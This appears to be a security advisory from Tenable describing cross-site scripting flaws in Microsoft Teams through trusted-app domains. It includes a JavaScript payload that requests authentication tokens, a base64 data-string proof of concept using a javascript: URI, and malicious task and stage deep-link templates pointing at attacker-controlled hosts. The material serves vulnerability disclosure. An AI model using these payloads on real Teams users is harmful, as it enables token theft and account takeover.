A researcher at Tenable discovered a number of issues which could result in cross-site scripting (XSS) vulnerabilities being triggered in the context of Microsoft Teams web and desktop clients, which could lead to the theft of authentication tokens for Microsoft Teams and other Microsoft services.
Background
As noted in https://www.tenable.com/security/research/tra-2023-6, an XSS in a valid domain for a fully trusted app in Microsoft Teams can lead to a one-click link which can steal authentication tokens for various Microsoft services (depending on what connections the affected victim has made to their Teams account).
This is possible as fully trusted applications are able to use javascript postMessage to request authentication tokens, generally used for authenticating to the services used by the applications. Additionally, since trusted applications can open preview windows to valid domains via task or stage deep links, an attacker could craft malicious links, which when clicked in a Teams web or desktop client would execute the XSS payload.
Consider the following payload, which checks whether it is running on the web or desktop client, then uses the appropriate functions to request an authentication token for teams.microsoft.com
if (typeof initOnNativeMessageProxy == 'function') {
initOnNativeMessageProxy(function (event) {
alert(JSON.stringify(event.data.args))
});
nativeInterface.framelessPostMessage('{ "id": "Tenable","func": "authentication.getAuthToken", "args": [[ "https://teams.microsoft.com" ]]}');
} else {
function receiveMessage(event) {
alert(JSON.stringify(event.data.args))
}
window.addEventListener("message", receiveMessage, false);
top.postMessage({
"id": "Tenable",
"func": "authentication.getAuthToken",
"args": [
["https://teams.microsoft.com"]
]
}, "*");
}
XSS via web.microsoftstream.com
A reflected XSS vulnerability existed in web.microsoft.com/waitingroom, as it was possible to trick the page into navigating to a location of the attacker’s choosing depending on the data parameter.
The stream app for Teams allows task deep links, which means an attacker could craft a link which will open a window within Teams to trigger the reflected XSS payload. This payload was able to communicate with Teams via javascript postMessage to request authentication tokens on the victim’s behalf, and return them to the attacker.
Proof of Concept
The data parameter of web.microsoft.com/waitingroom took a base64 encoded payload of the following | separated string:
https://[attacker-controlled].tld/streamtest/testapi|javascript:alert(document.domain)|anything|anything|0
- The first url is an attacker-controlled api to respond with an initial OPTIONS and PATCH request made by the waitingroom page, checking for a specific response of a non-null value of apiEndpoint. It doesn’t matter beyond providing a way of continuing execution without error. The waitingroom page sets the variable url with this url.
- The second section is where the window will navigate to upon completion. We have specified a javascript uri which will trigger the alert(document.domain) call. In the code of the page it becomes
window.location.href = unescape("javascript%3aalert(document.domain)");
- The second and third sections don’t matter for our purposes (they set tenantId and userId), so we have set them to anything.
- The last section we have set to 0 as it determines the interval to wait before navigating away to our payload.
Instead of a simple alert() payload, an attacker could craft a payload which executes the code noted in the Background section, and then craft a Teams deep link to that page, as seen in the example below:
https://teams.microsoft.com/l/task/com.microsoftstream.embed.skypeteamstab?url=https://web.microsoftstream.com/waitingroom%3fdata%3d[malicious-data-parameter]
XSS via *.dynamics.com
Multiple fully trusted applications had *.*.dynamics.com as a valid domain. As dynamics subdomains can contain attacker controlled content, including web pages which trigger reflected XSS payloads, it was possible for an attacker to craft malicious deep links which could request authentication tokens on the victim’s behalf, and return them to the attacker.
Proof of Concept
An attacker could create a page at xyz-attacker-controlled.svc.dynamics.com/f/w/maliciouspage, for example, which contains the payload shown in the Background section above, then craft a deep link which when clicked within a Teams desktop or web client, would trigger the payload in the context of the victim's Teams client.
Below are two examples of how this would look in a task or stage deep link:
https://teams.microsoft.com/l/task/[affected-app-id]?url=https://xyz-attacker-controlled.svc.dynamics.com/f/w/maliciouspage
https://teams.microsoft.com/l/stage/[affected-app-id]/0?context=%7b%22contentUrl%22%3a%22https://xyz-attacker-controlled.svc.dynamics.com/f/w/maliciouspage%22%7d